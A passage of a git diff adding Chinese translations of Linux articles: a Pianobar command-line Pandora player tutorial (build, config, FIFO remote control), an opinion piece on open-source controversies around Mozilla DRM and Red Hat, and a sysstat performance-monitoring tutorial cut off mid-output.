+在Fedora中,Pianobar并不包含在基础的软件库中。因此,你需要通过源代码编译安装Pianobar。整个安装过程会有点麻烦,但是下面的教程将会实现Pianobar在Frdora系统中编译安装。该教程在Fedora20版本中测试通过。 + +首先,根据[FFmpeg安装教程][3]编译并安装FFmpeg。 + +然后,[启用RPM Fusion源][4],并安装其他依赖软件: + + $ sudo yum install wget gcc-c++ pkgconfig gnutls-devel json-c-devel libgcrypt-devel make libao-devel faad2-devel libmad-devel libao faad2-libs + +编译并安装Pianobar + + $ wget http://6xq.net/projects/pianobar/pianobar-2014.06.08.tar.bz2 + $ tar xvfvj pianobar-2014.06.08.tar.bz2 + $ cd pianobar-2014.06.08 + $ PKG_CONFIG_PATH=/usr/local/lib/pkgconfig:$PKG_CONFIG_PATH make + $ sudo make install + +最后允许Paniobar加载安装在/usr/local/lib目录下的FFmpeg共享库,在/etc/ld.so.conf配置文件中添加下面一行: + +>/usr/local/lib + +重载所有的共享库 + +就这样,Pianobar已经在Fedora系统中安装完成。 + +###在命令行中收听Pandora音乐### + +paniobar的基本用法是输入如下命令: + +> $ pianobar + +该命令将会要求你登录到Pandora并从你的个性化电台列表中选择要收听的电台。在你选择电台后,音乐就开始自动播放。 + +![](https://farm6.staticflickr.com/5552/14993320301_58e58b5810_z.jpg) + +按‘?’按键pianobar会列出一系列可用个命令,其中一些如下: + +>- s: 更换电台 +- u: 查看即将上线音乐列表 +- h: 查看播放历史 +- n: 播放下一首 +- b: 收藏歌曲或艺术家 +- ( 或者 ): 减少或增加播放音量 +- S: 暂停播放 +- P: 恢复播放 +- V:为当前收听的歌曲或者艺术家创建一个电台 +- +或者-:查看上一首或者下一首歌曲 +- a:添加音乐到电台 +- q:退出pianobar + +![](https://farm6.staticflickr.com/5559/14993326991_ccdffd0fa6_z.jpg) + +###将Pianobar配置为自动安装### + +你可以在一个单独的配置文件中配置Pianobar的各项默认配置。例如:你可以将你的登录信息放到配置文件中,这样你就不用每次都要手动输入。下面是如何创建一个配置文件的示例: + +> $ mkdir -p ~/.config/pianobar + +---------- + +> $ vi ~/.config/pianobar/config + +---------- + +> # Example pianobar configuration file +> +> # Pandora login info + user = your@email_address + password = plaintext_password +> +> # Users who cannot access Pandora in their region can set a proxy. + control_proxy = http://user:password@host:port/ +> +> # Initial volume in dB: between -30 and +5 + volume = 0 +> +> # Audio quality: high, medium or low + audio_quality = high + +如需了解完整的配置选项,请参阅其man手册页。 + + $ man pianobar + +###远程控制Pianobar### + +Pianobar的另一个优秀特性是支持远程控制,你可以通过命令管道(FIFO)为Pianobar的一个运行实例发送命令。下面是远程控制Pianobar的示例: + +首先在目录~/.config/pianobar下创建一个FIFO命令管道 + +> $ mkfifo ~/.config/pianobar/ctl + +然后运行Pianobar + +现在,你可以通过使用echo命令发送任何的单字符命令键到Pianobar中,例如:播放下一首歌曲: + +> $ echo -n 'n' > ~/.config/pianobar/ctl + +你可以很容易的将此配置扩展到远程计算机中,当Pianobar在主机X上运行,你可以从远程主机Y中通过SSH控制Pianobar,如下所示: + +在主机Y中,运行: + +> $ ssh user@host_X "echo -n 'n' > ~/.config/pianobar/ctl" + +当然,你希望为登录到主机X的SSH登录认证[启用秘钥认证][5],这样你就不用每次都输入SSH密码。 + +当你想在[树莓Pi][6]上设置一个可以远程控制的在线电台播放器时,Pianobar的远程控制特性将会让你非常方便地实现该需求。 + +希望你和我一样喜欢Pianobar,若有什么想法,请在评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/08/listen-to-internet-radio-command-line-linux.html + +作者:[Dan Nanni][a] +译者:[cvsher](https://github.com/cvsher) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://zh.wikipedia.org/wiki/Pandora%E7%94%B5%E5%8F%B0 +[2]:http://6xq.net/projects/pianobar/ +[3]:http://ask.xmodulo.com/compile-ffmpeg-centos-fedora-rhel.html +[4]:http://xmodulo.com/2013/06/how-to-install-rpm-fusion-on-fedora.html +[5]:http://xmodulo.com/2012/04/how-to-enable-ssh-login-without.html +[6]:http://xmodulo.com/go/raspberrypi diff --git a/published/201409/The Open Source Witch Hunts Have Returned.md b/published/201409/The Open Source Witch Hunts Have Returned.md new file mode 100644 index 0000000000..a3c4d47878 --- /dev/null +++ b/published/201409/The Open Source Witch Hunts Have Returned.md @@ -0,0 +1,62 @@ +开源女巫狩猎归来! +================================================================================ +![](http://readwrite.com/files/styles/1400_0/public/fields/shutterstock-open-gate.jpg) + +> 开源软件社区已经做出了改变,就像之前的美好时光。 + +开源已经变的温和了,之前我们有过各种不同的思潮,但是最近我们对分享代码和创新却有种奇怪的迷恋。 + +幸运的是,这一系列的使用主义注定要结束了。在过去的一段时间里,我们团结在Mozilla身边支持DRM版权保护以及嘲笑Red Hat和OpenStack之间的竞争。开源社区那些年仅有的几个开源软件明星和[Open Core 这种商业模式][1]产生了冲突而被反噬了。 + +噢,怎么变成这样了! + + +### Red Hat 退回到2003年 ### + +Red Hat,开源软件理想主义的典范,在几周前拒绝支持它的竞争对手。Jodi Mardesich[出色的][2]揭露了真相,而Red Hat在努力辩护,这个真相就是: + +Red Hat不想支持它的竞争对手,它的OpenStack的竞争对手也不想这样做。 + +在另外世界上这算是新闻吗? + +### Mozilla变成了麻瓜 ### + +Red Hat作为开源软件理想主义的典范代表很容易成为各种带颜色攻击的目标,Mozilla其实是更大的一个目标。 + +Mozilla致力于为用户服务,它最近进行了一场自我牺牲似的CEO 下台,同意加入DRM的技术,即纯Firefox浏览器源码可以使用户观看视频。 + +人们想看视频,Mozilla倾向于在它的浏览器中观看。 + +总是找到别人的思想滑坡的问题,开源软件组织[批评了][3] Mozilla,深切表达了自己对于Mozilla的失望,因为这种“为减轻市场份额的流失而妥协重要原则的决定”令人担忧。 + +但是,Mozilla为什么要做这样的傻事呢,为了用户,你懂的。 + +抛开道德说教的部分不说,[电子前沿基金会哀叹][4],“开放网络最后的抗争已经失败了”。它对Mozilla投降的做法争论道:“接受DRM会改变这个行业”!DRM的倡导者一再妥协,一个公司又一个公司(PC行业)演变成一个行业,它通过锁定装置,监视器,接受每一个人的管理建立自己的利益关系。 + +[Mitchell Bake解释道][5],Mozilla可能并没有投降:“Firefox用户会需要使用另外的浏览器来观看他们自己想看的视频,这会让人怀疑Firfox做一一个产品是否真的有用”。 + +嗯,好吧。 + +### 回到我们的思想源头 ### + +我们或许希望其它人都按照我们的想法来,但事实上他们却有着不同的考虑。免费的软件让步给更加务实的开源软件,认为只有“不二法门”的想法也逐渐消亡了。 + +这种意识在目前还是有用的,但它并不总是方便和舒服。我崇尚开源软件的实用主义和Apache软件基金会,这样有很大的好处提醒GPL组织在意识形态上的危机感。软件自由真的很重要。 + +这么多悲观的言论,我自己也感到了恐惧,希望回到一个不断会自我鞭策的免费的开软软件的组织。这使开源软件协作变少而且更难驾驭,但是会变得更有力而且关乎未来。 + +(译者注:本文来源于一篇国外的杂文,译者和校对在翻译时感觉颇为吃力,因此肯定有大量谬误和不足,敬请大家谅解,或提出指正。虽然这篇文章说的事情已经过去了一段时间了,但是其反映的问题和潜伏的暗流也许影响更为深远。) + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/05/21/open-source-witch-hunt-mozilla-openstack-redhat#feed=/hack&awesm=~oEYDhxfP0Qv5hE + +译者:[jiajia9linuxer](https://github.com/jiajia9linuxer) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://en.m.wikipedia.org/wiki/Open_core +[2]:http://readwrite.com/2014/05/16/red-hat-openstack-mirantis-rhel-support +[3]:http://www.fsf.org/news/fsf-condemns-partnership-between-mozilla-and-adobe-to-support-digital-restrictions-management +[4]:https://www.eff.org/deeplinks/2014/05/mozilla-and-drm +[5]:https://blog.mozilla.org/blog/2014/05/14/drm-and-the-challenge-of-serving-users/ diff --git "a/published/201410/20 Useful Commands of \342\200\230Sysstat\342\200\231 Utilities (mpstat, pidstat, iostat and sar) for Linux Performance Monitoring.md" "b/published/201410/20 Useful Commands of \342\200\230Sysstat\342\200\231 Utilities (mpstat, pidstat, iostat and sar) for Linux Performance Monitoring.md" new file mode 100644 index 0000000000..d5a9708ec6 --- /dev/null +++ "b/published/201410/20 Useful Commands of \342\200\230Sysstat\342\200\231 Utilities (mpstat, pidstat, iostat and sar) for Linux Performance Monitoring.md" @@ -0,0 +1,401 @@ +Sysstat性能监控工具包中20个实用命令 +=============================================================== +在我们[上一篇文章][1]中,我们已经学习了如何去安装和更新**sysstat**,并且了解了包中的一些实用工具。 + +![20 Sysstat Commands for Linux Monitoring](http://www.tecmint.com/wp-content/uploads/2014/09/sysstat-commands.png) + +今天,我们将会通过一些有趣的实例来学习**mpstat**, **pidstat**, **iostat**和**sar**等工具,这些工具可以帮组我们找出系统中的问题。这些工具都包含了不同的选项,这意味着你可以根据不同的工作使用不同的选项,或者根据你的需求来自定义脚本。我们都知道,系统管理员都会有点懒,他们经常去寻找一些更简单的方法来完成他们的工作。 + +### mpstat - 处理器统计信息 ### + +1.不带任何参数的使用mpstat命令将会输出所有CPU的平均统计信息 + + tecmint@tecmint ~ $ mpstat + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + 12:23:57 IST CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle + 12:23:57 IST all 37.35 0.01 4.72 2.96 0.00 0.07 0.00 0.00 0.00 54.88 + +2.使用‘**-p**’ (处理器编号)和‘ALL’参数将会从0开始独立的输出每个CPU的统计信息,0表示第一个cpu。 + + tecmint@tecmint ~ $ mpstat -P ALL + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + 12:29:26 IST CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle + 12:29:26 IST all 37.33 0.01 4.57 2.58 0.00 0.07 0.00 0.00 0.00 55.44 + 12:29:26 IST 0 37.90 0.01 4.96 2.62 0.00 0.03 0.00 0.00 0.00 54.48 + 12:29:26 IST 1 36.75 0.01 4.19 2.54 0.00 0.11 0.00 0.00 0.00 56.40 + +3.要进行‘**N**’次,平均每次间隔n秒的输出CPU统计信息,如下所示。 + + tecmint@tecmint ~ $ mpstat -P ALL 2 5 + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + 12:36:21 IST CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle + 12:36:23 IST all 53.38 0.00 2.26 0.00 0.00 0.00 0.00 0.00 0.00 44.36 + 12:36:23 IST 0 46.23 0.00 1.51 0.00 0.00 0.00 0.00 0.00 0.00 52.26 + 12:36:23 IST 1 60.80 0.00 3.02 0.00 0.00 0.00 0.00 0.00 0.00 36.18 + + 12:36:23 IST CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle + 12:36:25 IST all 34.18 0.00 2.30 0.00 0.00 0.00 0.00 0.00 0.00 63.52 + 12:36:25 IST 0 31.63 0.00 1.53 0.00 0.00 0.00 0.00 0.00 0.00 66.84 + 12:36:25 IST 1 36.73 0.00 2.55 0.00 0.00 0.00 0.00 0.00 0.00 60.71 + + 12:36:25 IST CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle + 12:36:27 IST all 33.42 0.00 5.06 0.25 0.00 0.25 0.00 0.00 0.00 61.01 + 12:36:27 IST 0 34.34 0.00 4.04 0.00 0.00 0.00 0.00 0.00 0.00 61.62 + 12:36:27 IST 1 32.82 0.00 6.15 0.51 0.00 0.00 0.00 0.00 0.00 60.51 + +(LCTT译注: 上面命令中‘2’ 表示每2秒执行一次‘mpstat -P ALL’命令, ‘5’表示共执行5次) + +4.使用‘**I**’参数将会输出每个处理器的中断统计信息 + + tecmint@tecmint ~ $ mpstat -I + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + 12:39:56 IST CPU intr/s + 12:39:56 IST all 651.04 + + 12:39:56 IST CPU 0/s 1/s 6/s 8/s 9/s 12/s 16/s 17/s 20/s 21/s 22/s 23/s 45/s 46/s 47/s NMI/s LOC/s SPU/s PMI/s IWI/s RTR/s RES/s CAL/s TLB/s TRM/s THR/s MCE/s MCP/s ERR/s MIS/s + 12:39:56 IST 0 76.27 1.73 0.00 0.00 0.42 0.33 0.00 0.06 11.46 0.00 0.00 0.01 7.62 1.87 0.05 0.33 182.26 0.00 0.33 3.03 0.00 22.66 0.16 5.14 0.00 0.00 0.00 0.00 0.00 0.00 + 12:39:56 IST 1 70.88 1.44 0.00 0.00 0.41 0.33 0.00 27.91 10.33 0.00 0.00 0.01 7.27 1.79 0.05 0.32 184.11 0.00 0.32 5.17 0.00 22.09 0.13 4.73 0.00 0.00 0.00 0.00 0.00 0.00 + + 12:39:56 IST CPU HI/s TIMER/s NET_TX/s NET_RX/s BLOCK/s BLOCK_IOPOLL/s TASKLET/s SCHED/s HRTIMER/s RCU/s + 12:39:56 IST 0 0.00 116.49 0.05 0.27 7.33 0.00 1.22 10.44 0.13 37.47 + 12:39:56 IST 1 0.00 111.65 0.05 0.41 7.07 0.00 56.36 9.97 0.13 41.38 + +5.使用‘**A**’参数将会输出上面提到的所有信息,等同于‘**-u -I All -p ALL**’。 + + tecmint@tecmint ~ $ mpstat -A + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + 12:41:39 IST CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle + 12:41:39 IST all 38.70 0.01 4.47 2.01 0.00 0.06 0.00 0.00 0.00 54.76 + 12:41:39 IST 0 39.15 0.01 4.82 2.05 0.00 0.02 0.00 0.00 0.00 53.95 + 12:41:39 IST 1 38.24 0.01 4.12 1.98 0.00 0.09 0.00 0.00 0.00 55.57 + + 12:41:39 IST CPU intr/s + 12:41:39 IST all 651.73 + 12:41:39 IST 0 173.16 + 12:41:39 IST 1 225.89 + + 12:41:39 IST CPU 0/s 1/s 6/s 8/s 9/s 12/s 16/s 17/s 20/s 21/s 22/s 23/s 45/s 46/s 47/s NMI/s LOC/s SPU/s PMI/s IWI/s RTR/s RES/s CAL/s TLB/s TRM/s THR/s MCE/s MCP/s ERR/s MIS/s + 12:41:39 IST 0 76.04 1.77 0.00 0.00 0.41 0.36 0.00 0.06 11.60 0.00 0.00 0.01 7.42 1.83 0.05 0.34 182.89 0.00 0.34 2.97 0.00 22.69 0.16 5.22 0.00 0.00 0.00 0.00 0.00 0.00 + 12:41:39 IST 1 70.70 1.48 0.00 0.00 0.40 0.36 0.00 27.47 10.46 0.00 0.00 0.01 7.08 1.75 0.05 0.32 184.83 0.00 0.32 5.10 0.00 22.19 0.13 4.91 0.00 0.00 0.00 0.00 0.00 0.00 + + 12:41:39 IST CPU HI/s TIMER/s NET_TX/s NET_RX/s BLOCK/s BLOCK_IOPOLL/s TASKLET/s SCHED/s HRTIMER/s RCU/s + 12:41:39 IST 0 0.00 116.96 0.05 0.26 7.12 0.00 1.24 10.42 0.12 36.99 + 12:41:39 IST 1 0.00 112.25 0.05 0.40 6.88 0.00 55.05 9.93 0.13 41.20 + +###pidstat - 进程和内核线程的统计信息### + +该命令是用于监控进程和当前受内核管理的线程。pidstat还可以检查子进程和线程的状态。 + +#### 语法 #### + + # pidstat [INTERVAL] [COUNT] + +6.不带任何参数使用pidstat将会输出所有活跃的任务。 + + tecmint@tecmint ~ $ pidstat + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + 12:47:24 IST UID PID %usr %system %guest %CPU CPU Command + 12:47:24 IST 0 1 0.01 0.12 0.00 0.13 1 init + 12:47:24 IST 0 3 0.00 0.01 0.00 0.01 0 ksoftirqd/0 + 12:47:24 IST 0 9 0.00 0.04 0.00 0.04 0 rcu_sched + 12:47:24 IST 0 10 0.00 0.00 0.00 0.00 0 watchdog/0 + 12:47:24 IST 0 11 0.00 0.00 0.00 0.00 1 watchdog/1 + 12:47:24 IST 0 12 0.00 0.00 0.00 0.00 1 migration/1 + 12:47:24 IST 0 13 0.00 0.01 0.00 0.01 1 ksoftirqd/1 + 12:47:24 IST 0 23 0.00 0.00 0.00 0.00 0 kworker/u9:0 + 12:47:24 IST 0 29 0.00 0.61 0.00 0.61 0 kworker/0:1 + 12:47:24 IST 0 30 0.00 0.06 0.00 0.06 1 kworker/1:1 + 12:47:24 IST 0 224 0.00 0.01 0.00 0.01 1 jbd2/sda1-8 + 12:47:24 IST 0 360 0.00 0.00 0.00 0.00 1 upstart-udev-br + 12:47:24 IST 0 365 0.01 0.00 0.00 0.01 0 systemd-udevd + 12:47:24 IST 0 476 0.00 0.00 0.00 0.00 0 kworker/u9:1 + +7.使用‘**-p**’(进程)参数输出所有活跃和非活跃的任务。 + + tecmint@tecmint ~ $ pidstat -p ALL + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + 12:51:55 IST UID PID %usr %system %guest %CPU CPU Command + 12:51:55 IST 0 1 0.01 0.11 0.00 0.12 1 init + 12:51:55 IST 0 2 0.00 0.00 0.00 0.00 0 kthreadd + 12:51:55 IST 0 3 0.00 0.01 0.00 0.01 0 ksoftirqd/0 + 12:51:55 IST 0 5 0.00 0.00 0.00 0.00 0 kworker/0:0H + 12:51:55 IST 0 7 0.00 0.00 0.00 0.00 0 migration/0 + 12:51:55 IST 0 8 0.00 0.00 0.00 0.00 0 rcu_bh + 12:51:55 IST 0 9 0.00 0.04 0.00 0.04 1 rcu_sched + 12:51:55 IST 0 10 0.00 0.00 0.00 0.00 0 watchdog/0 + 12:51:55 IST 0 11 0.00 0.00 0.00 0.00 1 watchdog/1 + 12:51:55 IST 0 12 0.00 0.00 0.00 0.00 1 migration/1 + 12:51:55 IST 0 13 0.00 0.01 0.00 0.01 1 ksoftirqd/1 + 12:51:55 IST 0 15 0.00 0.00 0.00 0.00 1 kworker/1:0H + 12:51:55 IST 0 16 0.00 0.00 0.00 0.00 1 khelper + 12:51:55 IST 0 17 0.00 0.00 0.00 0.00 0 kdevtmpfs + 12:51:55 IST 0 18 0.00 0.00 0.00 0.00 0 netns + 12:51:55 IST 0 19 0.00 0.00 0.00 0.00 0 writeback + 12:51:55 IST 0 20 0.00 0.00 0.00 0.00 1 kintegrityd + +8.使用‘**-d 2**’参数,我们可以看到I/O统计信息,2表示以秒为单位对统计信息进行刷新。这个参数可以方便的知道当系统在进行繁重的I/O时,那些进行占用大量的资源的进程。 + + tecmint@tecmint ~ $ pidstat -d 2 + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + 03:26:53 EDT PID kB_rd/s kB_wr/s kB_ccwr/s Command + + 03:26:55 EDT PID kB_rd/s kB_wr/s kB_ccwr/s Command + 03:26:57 EDT 574 0.00 148.00 2.00 miniserv.pl + + 03:27:01 EDT PID kB_rd/s kB_wr/s kB_ccwr/s Command + 03:27:03 EDT 1 0.00 8.00 2.00 init + 03:27:03 EDT 450 0.00 2.00 0.00 rsyslogd + 03:27:03 EDT 534 138.00 10.00 4.00 crond + 03:27:03 EDT 25100 0.00 6.00 0.00 sendmail + 03:27:03 EDT 30829 0.00 6.00 0.00 java + +9.想要每间隔**2**秒对进程**4164**的cpu统计信息输出**3**次,则使用如下带参数‘**-t**’(输出某个选定进程的统计信息)的命令。 + + tecmint@tecmint ~ $ pidstat -t -p 4164 2 3 + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + 01:09:06 IST UID TGID TID %usr %system %guest %CPU CPU Command + 01:09:08 IST 1000 4164 - 22.00 1.00 0.00 23.00 1 firefox + 01:09:08 IST 1000 - 4164 20.00 0.50 0.00 20.50 1 |__firefox + 01:09:08 IST 1000 - 4171 0.00 0.00 0.00 0.00 0 |__Gecko_IOThread + 01:09:08 IST 1000 - 4172 0.00 0.00 0.00 0.00 0 |__Socket + 01:09:08 IST 1000 - 4173 0.00 0.00 0.00 0.00 0 |__JS + 01:09:08 IST 1000 - 4174 0.00 0.00 0.00 0.00 0 |__JS + 01:09:08 IST 1000 - 4175 0.00 0.00 0.00 0.00 0 |__Hang + 01:09:08 IST 1000 - 4176 0.00 0.00 0.00 0.00 1 |__gdbus + 01:09:08 IST 1000 - 4177 0.00 0.00 0.00 0.00 1 |__gmain + +10.使用‘**-rh**’参数,将会输出进程的内存使用情况。如下命令每隔2秒刷新经常的内存使用情况。 + + tecmint@tecmint ~ $ pidstat -rh 2 3 + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + # Time UID PID minflt/s majflt/s VSZ RSS %MEM Command + 1409816695 1000 3958 3378.22 0.00 707420 215972 5.32 cinnamon + 1409816695 1000 4164 406.93 0.00 1252024 461404 11.36 firefox + 1409816695 1000 6676 168.81 0.00 4436 984 0.02 pidstat + + # Time UID PID minflt/s majflt/s VSZ RSS %MEM Command + 1409816697 0 1601 644.00 0.00 506728 316788 7.80 Xorg + 1409816697 1000 3958 3412.00 0.00 707420 215972 5.32 cinnamon + 1409816697 1000 4164 2667.00 0.00 1259576 471724 11.62 firefox + 1409816697 1000 6676 172.50 0.00 4436 1020 0.03 pidstat + + # Time UID PID minflt/s majflt/s VSZ RSS %MEM Command + 1409816699 0 1601 644.00 0.00 506728 316788 7.80 Xorg + 1409816699 1000 3958 4094.00 0.00 710148 218700 5.39 cinnamon + 1409816699 1000 4164 599.00 0.00 1261944 476664 11.74 firefox + 1409816699 1000 6676 168.00 0.00 4436 1020 0.03 pidstat + +11.要使用‘**-G**’参数可以输出包含某个特定字符串的进程信息。如下命令输出所有包含‘**VB**’字符串的进程的统计信息,使用‘**-t**’参数将线程的信息也进行输出。 + + tecmint@tecmint ~ $ pidstat -G VB + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + 01:09:06 IST UID PID %usr %system %guest %CPU CPU Command + 01:09:08 IST 1000 1492 22.00 1.00 0.00 23.00 1 VBoxService + 01:09:08 IST 1000 1902 4164 20.00 0.50 0.00 20.50 VBoxClient + 01:09:08 IST 1000 1922 4171 0.00 0.00 0.00 0.00 VBoxClient + +---------- + + tecmint@tecmint ~ $ pidstat -t -G VB + Linux 2.6.32-431.el6.i686 (tecmint) 09/04/2014 _i686_ (2 CPU) + + 03:19:52 PM UID TGID TID %usr %system %guest %CPU CPU Command + 03:19:52 PM 0 1479 - 0.01 0.12 0.00 0.13 1 VBoxService + 03:19:52 PM 0 - 1482 0.00 0.00 0.00 0.00 0 |__timesync + 03:19:52 PM 0 - 1483 0.01 0.06 0.00 0.06 0 |__vminfo + 03:19:52 PM 0 - 1485 0.00 0.01 0.00 0.01 1 |__memballoon + 03:19:52 PM 0 - 1486 0.00 0.01 0.00 0.01 1 |__vmstats + 03:19:52 PM 0 - 1487 0.00 0.05 0.00 0.05 0 |__automount + 03:19:52 PM 0 1913 - 0.00 0.00 0.00 0.00 0 VBoxClient + 03:19:52 PM 0 - 1913 0.00 0.00 0.00 0.00 0 |__VBoxClient + 03:19:52 PM 0 - 1942 0.00 0.00 0.00 0.00 0 |__SHCLIP + 03:19:52 PM 0 1933 - 0.04 0.89 0.00 0.93 0 VBoxClient + 03:19:52 PM 0 - 1936 0.04 0.89 0.00 0.93 1 |__X11-NOTIFY + +12.使用‘**-R**’参数输出实时的进程优先级和调度信息。 + + tecmint@tecmint ~ $ pidstat -R + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + 01:09:06 IST UID PID prio policy Command + 01:09:08 IST 1000 3 99 FIFO migration/0 + 01:09:08 IST 1000 5 99 FIFO migration/0 + 01:09:08 IST 1000 6 99 FIFO watchdog/0 + +因为我们已经学习过iostat命令了,因此在本文中不在对其进行赘述。若想查看iostat命令的详细信息,请参看“[使用Iostat和Vmstat进行Linux性能监控][2]” + +###sar - 系统活动报告### + +我们可以使用‘**sar**’命令来获得整个系统性能的报告。这有助于我们定位系统性能的瓶颈,并且有助于我们找出这些烦人的性能问题的解决方法。 + +Linux内核维护着一些内部计数器,这些计数器包含了所有的请求及其完成时间和I/O块数等信息,sar命令从所有的这些信息中计算出请求的利用率和比例,以便找出瓶颈所在。 + +sar命令主要的用途是生成某段时间内所有活动的报告,因此,必需确保sar命令在适当的时间进行数据采集(而不是在午餐时间或者周末。) + +13.下面是执行sar命令的基本用法。它将会在当前目录下创建一个名为‘**sarfile**’的文件。‘**-u**’参数表示CPU详细信息,**5**表示生产5次报告,**2**表示每次报告的时间间隔为2秒。 + + tecmint@tecmint ~ $ sar -u -o sarfile 2 5 + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + 01:42:28 IST CPU %user %nice %system %iowait %steal %idle + 01:42:30 IST all 36.52 0.00 3.02 0.00 0.00 60.45 + 01:42:32 IST all 43.32 0.00 5.04 0.00 0.00 51.64 + 01:42:34 IST all 56.46 0.00 4.05 0.00 0.00 39.49 + 01:42:36 IST all 44.44 0.00 3.79 0.00 0.00 51.77 + 01:42:38 IST all 50.75 0.00 3.75 0.00 0.00 45.50 + Average: all 46.30 0.00 3.93 0.00 0.00 49.77 + +14.在上面的例子中,我们交互的执行sar命令。sar命令也提供了使用cron进行非交互的执行sar命令的方法,使用**/usr/local/lib/sa1**和**/usr/local/lib/sa2**脚本(如果你在安装时使用了**/usr/local**作为前缀的话) + +- **/usr/local/lib/sa1**是一个可以使用cron进行调度生成二进制日志文件的shell脚本。 +- **/usr/local/lib/sa2**是一个可以将二进制日志文件转换为用户可读的编码方式。 + +使用如下Cron项目来将sar命令非交互化。 + + # 每10分钟运行sa1脚本来采集数据 + */2 * * * * /usr/local/lib/sa/sa1 2 10 + + #在每天23:53时生成一个用户可读的日常报告 + 53 23 * * * /usr/local/lib/sa/sa2 -A + +在sa1脚本的后端,sa1脚本会调用**sabc**(系统活动数据收集器,System Activity Data Collector)工具采集特定时间间隔内的数据。**sa2**脚本会调用sar来将二进制日志文件转换为用户可读的形式。 + +15.使用‘**-q**’参数来检查运行队列的长度,所有进程的数量和平均负载 + + tecmint@tecmint ~ $ sar -q 2 5 + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + 02:00:44 IST runq-sz plist-sz ldavg-1 ldavg-5 ldavg-15 blocked + 02:00:46 IST 1 431 1.67 1.22 0.97 0 + 02:00:48 IST 4 431 1.70 1.23 0.97 0 + 02:00:50 IST 2 431 1.70 1.23 0.97 0 + 02:00:52 IST 2 431 1.70 1.23 0.97 0 + 02:00:54 IST 0 431 1.64 1.23 0.97 0 + Average: 2 431 1.68 1.23 0.97 0 + +16.使用‘**-F**’参数查看当前挂载的文件系统的使用统计信息 + + tecmint@tecmint ~ $ sar -F 2 4 + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + 02:02:31 IST MBfsfree MBfsused %fsused %ufsused Ifree Iused %Iused FILESYSTEM + 02:02:33 IST 1001 449 30.95 1213790475088.85 18919505 364463 1.89 /dev/sda1 + + 02:02:33 IST MBfsfree MBfsused %fsused %ufsused Ifree Iused %Iused FILESYSTEM + 02:02:35 IST 1001 449 30.95 1213790475088.85 18919505 364463 1.89 /dev/sda1 + + 02:02:35 IST MBfsfree MBfsused %fsused %ufsused Ifree Iused %Iused FILESYSTEM + 02:02:37 IST 1001 449 30.95 1213790475088.85 18919505 364463 1.89 /dev/sda1 + + 02:02:37 IST MBfsfree MBfsused %fsused %ufsused Ifree Iused %Iused FILESYSTEM + 02:02:39 IST 1001 449 30.95 1213790475088.86 18919505 364463 1.89 /dev/sda1 + + Summary MBfsfree MBfsused %fsused %ufsused Ifree Iused %Iused FILESYSTEM + Summary 1001 449 30.95 1213790475088.86 18919505 364463 1.89 /dev/sda1 + +17.使用‘**-n DEV**’参数查看网络统计信息 + + tecmint@tecmint ~ $ sar -n DEV 1 3 | egrep -v lo + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + 02:11:59 IST IFACE rxpck/s txpck/s rxkB/s txkB/s rxcmp/s txcmp/s rxmcst/s + 02:12:00 IST wlan0 8.00 10.00 1.23 0.92 0.00 0.00 0.00 + 02:12:00 IST vmnet8 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + 02:12:00 IST eth0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + 02:12:00 IST vmnet1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + +18.使用‘**-d**’参数查看块设备统计信息(与iostat类似)。 + + tecmint@tecmint ~ $ sar -d 1 3 + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + 02:13:17 IST DEV tps rd_sec/s wr_sec/s avgrq-sz avgqu-sz await svctm %util + 02:13:18 IST dev8-0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + + 02:13:18 IST DEV tps rd_sec/s wr_sec/s avgrq-sz avgqu-sz await svctm %util + 02:13:19 IST dev8-0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + + 02:13:19 IST DEV tps rd_sec/s wr_sec/s avgrq-sz avgqu-sz await svctm %util + 02:13:20 IST dev8-0 7.00 32.00 80.00 16.00 0.11 15.43 15.43 10.80 + +19.使用‘**-r**’参数输出内存统计信息。 + + tecmint@tecmint ~ $ sar -r 1 3 + + Linux 3.11.0-23-generic (tecmint.com) Thursday 04 September 2014 _i686_ (2 CPU) + + 02:14:29 IST 